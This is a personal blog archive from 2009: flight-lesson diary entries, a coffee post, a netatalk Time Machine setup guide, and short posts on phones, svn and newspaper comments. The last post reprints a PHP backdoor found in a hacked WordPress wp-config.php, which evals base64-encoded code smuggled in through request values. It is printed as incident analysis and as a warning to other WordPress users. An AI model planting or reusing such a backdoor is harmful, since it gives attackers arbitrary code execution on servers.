8.8

December 12th, 2009

Another 2.4 loggable hours today!

All in all, a good day.

On the first flight, we practiced steep banks (45 degrees) in both directions and some turn stalls. I actually screwed up at the beginning of the flight and didn’t raise my seat up to an acceptable level, something I couldn’t correct when we started to taxi. I figured I could live with it (and I could), but I think it contributed heavily to my initial bout of motion sickness.

I had a lot of fun with the steep banks; at first, I thought they were ridiculous. You’re literally turning the airplane half-way towards being on end. Turns out that you can turn around really fast. It’s pretty sweet. I ended up favoring high bank angles for the rest of the day.

I struggled rather mightily (perhaps in part due to motion sickness) maintaining altitude, attitude, and heading. I simply got pushed around by the (relatively calm) air and wasn’t really able to handle it. I could really use practice in this area.

I also got more radio practice and that was excellent.

On this flight, I almost missed the wheels on my pre-flight check. I caught myself and checked them. On run-up, we missed the “knees and knuckles” test; simply put, you test the yoke at its extremes (all the way in left/right, all the way back left/right) for free movement. We caught it the second time around.

Also, a smooth landing (mostly me with direction). I overshot the final and we had to do a “S” approach, but I think if I did this in the real-world, I’d just reject the landing and go around again. I also was so distracted by the quickly approaching ground that I forgot to call final. Oh well. Live and learn :)

Then we had lunch, and that brings us to flight 2.

Mostly recovered from my motion sickness, we went back up. I taxied us back out to runway 9, radioed for both taxi and for departure, and got us back in the air. I ended up sliding way north, and when I looked back at the runway in the air, we were quite an angle from it.

On this flight, we practiced flying around a point. Craig made it look really easy, but I found it fairly challenging. I think though that there’s hope for me, I didn’t feel like I was too far off, I think I just lacked the “feel” for the airplane and the concomitant situational awareness. In time. We also did some S-turn maneuvers, which was fun.

The landing this time involved a bounce. Oops. :)

Can’t wait until next week.

One Two Two Point Eight

December 6th, 2009

I now have 6.4 hours in my log book.

Craig and I went up for a double lesson yesterday, where we practiced a few more power-off stalls and a few power-on stalls. We took a break for lunch, and went back up to practice emergency procedures.

I have to say, power-off stalls are serious bad-mojo my stomach and my sanity. My inclination is to want to undo what caused the stall, and that often leads right into a full-power 20 degree descent. The result is a ride not unlike that of a roller coaster. I’m getting better, but I need to work on not over-correcting the problem. For some reason, power-on stalls are not a problem.

The emergency procedures practice scared me a bit. We came within spitting distance of landing on a random field out in the middle of nowhere. We’ll be doing more of that next lesson, including a high-speed descent and approach. The thought of having the controls for that is… unsettling.

Though, despite my own self-criticism and lack of confidence, I think I’m doing rather well overall. I can feel my skills at performing coordinated turns and straight-and-level flying increasing. I’m looking forward to the cross-country part of training to further develop those skills.

The really cool thing about this last lesson is that I got to announce on the radio. If you were tuned into 122.8 (KGXY’s CTAF) yesterday afternoon, you would have heard my sultry voice saying cool things like:

Greeley Traffic, Skyhawk One Seven Two Zero Zulu, crossing runway niner on delta for runway three four, Greeley.

and

Greeley Traffic, Skyhawk One Seven Two Zero Zulu, departing runway three four to the north, Greeley.

Apparently my listening to ATC has paid off. Craig said I did very well on the radio. Tune in next week for more. :)

On Coffee

December 5th, 2009

It’s no secret that I love coffee.

I love it dripped, pressed, espressed, and pretty much in any form except percolated.

Yet, I’ve stopped drinking it regularly.

It’s for a simple reason: I want to be able to function in the absence of coffee. I recently went on a hike with Myles and couldn’t go further than half a mile. Part of it was poor physical conditioning (up until then, I’d been pretty bad about going to the gym), part of it was the coffee I had on the way up to the trailhead.

I haven’t given up coffee entirely, for I had some at breakfast (at the Breakfast Club with Woof). I’ve just given up the regular dosing of it.

So, new rule: drink coffee to enjoy coffee, not because you need coffee.

Climb and Maintain Seven Thousand

November 29th, 2009

“Greeley Traffic, Skyhawk One Seven Two Zero Zulu, departing runway three four, Greeley.”

It all started with what would seem like an ordinary burger run.

Several weeks ago, a few of us from work (actually, my old work, for a certain video security company), decided to go grab some burgers at the new Smash Burger in Colorado Springs. Owing to the sheer distance (2 hour drive) between Fort Collins and Colorado Springs, we opted to fly — in a lovely single-engine Piper Saratoga. KFNL to KCOS was about a 40 minute flight, but more importantly, it was a flight.

That started it. That it? Flight school.

The owner (and pilot) of the aforementioned Saratoga is now my flight instructor. He’s teaching me out of a Cessna 172 based from Poudre Aviation, out at Greeley-Weld County Airport (KGXY). So far, I have just under 4 hours in my log book and a student pilot certificate, and I’m having a blast.

I hope to keep this blog updated with my progress.

So far, in those 4 hours, Craig has had me practice taxiing, takeoffs, landings (just 2 so far, I could really use more practice!), straight-and-level flight (could use some practice on the trim wheel), coordinated turns (steep, shallow, medium banks), slow flight maneuvers, basic instrument flying, and stall recovery (this made me sick today).

It’s actually pretty amazing what you can learn in 4 hours of flight and untold more reading the flight manual and the flight maneuvers guide.

I think, especially at this point, I could use a lot more practice. I’m struggling to keep up with all the new inputs while piloting an aircraft. Trying to manage a checklist, listen to radio calls, monitor traffic (which I do poorly), keep up with the 6-pack (airspeed indicator, attitude indicator, altimeter, turn coordinator, heading indicator, vertical speed indicator), not to mention throttle, mixture, oil pressure, oil temperature, and the myriad of other doodads — (trying to manage…) is a real challenge.

As I noticed on my way home from the airport a week or two ago, I found the driving to be nearly automatic. I’m hoping I can get flying to a point like this, where I know where I am, where I’m going, and how I’m pointed, without having to inspect each gauge.

That’s what next weekend is for. :)

DIY Time Machine Server

November 28th, 2009

The fine netatalk folks have done it again: added Time Machine support to their software! It even works!

If you’re looking to roll your own Time Machine server, and don’t want to shell out for one of Apple’s Time Capsules (say, if you want to integrate Time Machine into your existing storage array), this is how you do it:

What you need:

  1. A FreeBSD or Linux server with some spare disk space.
  2. A network of some sort.

The how:

Note, the installation and activation (1 and 2) steps are for FreeBSD. If you’re using Linux, your vendor/distribution most likely has a package pre-made for you. Try “apt-get install netatalk”, “yum install netatalk”, or consult your distribution’s documentation. Alternatively, you can install directly from source!

  1. Install netatalk
    # cd /usr/ports/net/netatalk
    # make all install
    
  2. Activate it on boot, by adding these lines to /etc/rc.conf
    netatalk_enable="YES"
    afpd_enable="YES"
    cnid_metad_enable="YES"
    
  3. Configure a Time Machine volume, by editing /usr/local/etc/AppleVolumes.default:
    # first is the path, second is the display name, remaining are the options
    /data/tm "Time Machine" options:nostat,tm cnidscheme:dbd
    
  4. Start it up:
    # /usr/local/etc/rc.d/netatalk start
    

    On Linux, try:

    # /etc/init.d/netatalk start
    
  5. You’re set. On your Mac, just connect to your server (Finder, Go -> Connect to Server, then enter afp://yourserverip), log in, and mount the Time Machine volume. Then just hit the Time Machine prefpane (Apple -> System Preferences -> Time Machine) and turn it on!

For auto-discovery of your file server, you might install avahi and add an _afpovertcp._tcp service, see this link for more info.

Caveats:

Time Machine will consume all the space on the partition /data/tm lives on. It’s a good idea to create a storage-capped volume specifically for Time Machine, so you don’t accidentally fill up your disk with constant backups!

Hello Blog

November 21st, 2009

Hello oh underused blog. How you doin’?

I don’t understand people who comment on newspapers.

September 27th, 2009

So, the The Coloradoan is running an article about proposed rate increases for our city utility to pay for higher energy costs and “smart” metering. I read this article this morning and thought “hey, that’s a good idea.”

Then, I read some of the comments attached to the article. I’ve chosen to share some of the more “intellectually deficient” (these are 5 of the 8 comments on the article when I read it, I kid you not) ones:

They’re going to raise utility rates so high, a person will need to monitor them on a daily basis. Thanks to Salazar and Ritter!

I’d like to be there when they tell these meter readers they’re spending 21 million dollars to eliminate their jobs. Way to go Fort Collins. :(

Alas, government marches on with its never ending increase in taxes, fees or however you want to label it, totally unconcerned that peopole are struggling as it is. Why did the people of Fort Collins re-elect every incumbent last fall? I did not vote for one incumbent, and certainly won’t next time either. If memory serves me, every incombent got put back into office.

Big Brother is watching, sucking away your liberty and making you pay for the process of doing so. Americans, you are idiots for allowing this to happen.

I wish my small business was “government…” Instead of taking it like the rest of us are in this economy all you have to do is raise “fees” (taxes). It’s SO easy!

It’s almost as if each and every one of these people failed to read the article. Sure, a 9.5% increase in utility rates sounds like a lot, but lets look at some facts:

  • The city of Fort Collins charges $0.067 cents per kilowatt hour. Xcel Energy (which powers other parts of Colorado) charges $0.1091 per kilowatt hour; that’s getting close to twice the cost.
  • Power outages are very rare in Fort Collins. The city actually does a good job.
  • Advanced Metering accounts for 2.08% of the proposed rate increase, the rest comes from power costs and other needs (at least most of which we have to pay for anyway!)

So, in essence, the City Utility wants to raise our rates by an amount that will cover their (really, our) electric bill and simultaneously upgrade our electric system. As part of the bargain, we get a smarter system that will allow us to monitor our power usage in real time. That means we can make smarter choices about how we use electricity. As we gain more knowledge about how we use electricity, the utility gets better intelligence about how power is distributed around the city; knowledge they can use better and more efficiently manage our system. All of this, and we’ll still pay less than Xcel customers.

Yes. It will cost more. No, it’s not a special fee or a tax. It’s the cost of us maintaining our own electric grid instead of a private entity. And we get a pretty smoking deal from it, too.

Oh, did I mention that the 2.08% bump is temporary? Just to pay for the upgrade2? Did I also mention that the 10-15 meter readers would be retrained and have opportunities at other jobs in the utilities department?

Yes. I realize the irony of me commenting about a news article to complain about the commenters on a news article. I think it’s funny too.

1 – quoted from Astralux Power Systems – probably not a great source.
2 – I’m under no illusion that the 2.08% will just be diverted at the end of the 3 year period to pay for other programs or utility-borne cost increases.

New-fangled Phone-things

September 18th, 2009

I’ve been failed pretty badly by my rather new-age phone setup over the last few days. I’ve missed important calls by an abject failure of my carriers to deliver them to my handsets.

For instance, early this week, Google Voice (or QuantumVoice, my VoIP provider) were failing to deliver calls to my ATA. Calls to my “home” number went to voicemail; which is a message that says “call my Google Voice number.”

And tonight, I discovered that my iPhone has been reporting solid 3G for 2 days straight but has been lying to me. I rebooted it this evening at a restaurant to discover I had 3 voicemails and 1 text message from YESTERDAY.

Some days, I long for old world landlines. I might just get one; Qwest is building out an ADSL2 cabinet outside my subdivision and have told me it should be online by October 7th. It might be time to migrate from cable to ADSL and pick up a landline in the process. At least then I’ll have faith that my incoming calls will complete.

Cranky grumbling complete.

I suck at remembering at what I fixed, so I rely on svn

September 13th, 2009

A user came into #help on EsperNet today and asked about an issue with ChanServ’s KEEPTOPIC feature.

I remembered this being a bug; but I totally forgot that I fixed it.

So, I asked Subversion:

------------------------------------------------------------------------
r196 | srees | 2009-04-25 11:16:22 -0600 (Sat, 25 Apr 2009) | 2 lines

* "Fix" TBURST to send 0 as the channel TS to force esphyb servers to accept the topic
 bursts at any time (not just at channel creation)

Now, the only problem is that I wasn’t sure whether or not I deployed this fix. Oh well, one problem at a time.

I love commit logs.

Well, an update worth its salt

September 2nd, 2009

(turns out I have something technical to blog about, after all.)

Well, I haven’t played with WordPress for a while and it turns out I was a few point-releases back. But, I digress.

When I was writing the last post, I noticed that there was some funny syntax at the end of the Permalink. Actually, it said something like base64_encode and $_SERVER["HTTP_EXECCODE"]. For some reason, I saw these and ignored them (in fact, I mentally chalked them up to a weirdness in Safari on Snow Leopard).

I had a bit of dinner, then my brain turned on. I was looking at PHP that got included inline into markup; this was not a browser bug.

After some investigation, I found a spurious new function added to my wp-config.php (below). This, combined with the update to my Permalink format, suggested server (or application) compromise. The offending code (pretty-printed for readability):

function gpc_4663($l4665) {
  if (is_array($l4665)) {
    foreach($l4665 as $l4663 => $l4664)
      $l4665[$l4663] = gpc_4663($l4664);
   } else if (is_string($l4665) && substr($l4665,0,4)=="____") {
     eval(base64_decode(substr($l4665,4)));
     $l4665=null;
   }

   return $l4665;
}

if(empty($_SERVER))
  $_SERVER = $HTTP_SERVER_VARS;

array_map("gpc_4663",$_SERVER);

Arbitrary code injection — through query parameter, no less. Someone could simply go to any page including this file (which is any database-accessing page) and add a Base64-encoded string with code for the PHP interpreter to execute. Great.

I think the worst thing about this compromise is that I have no idea how the attacker did it.

As I said before, I was a few point releases behind on my WordPress installation. Unfortunately, if this was a known attack, I have no way of knowing it. The folks over at WordPress are seemingly tight-lipped as to the nature of their security updates, so if you’ve been compromised along a vector they’ve since fixed, you’re in the dark. Now I’m just wondering if I still have a big open hole in my WordPress installation.

As for the loss of data, my post-incident analysis reveals that the compromiser got nothing. Whew.

Oh well. If you run WordPress, check your installs.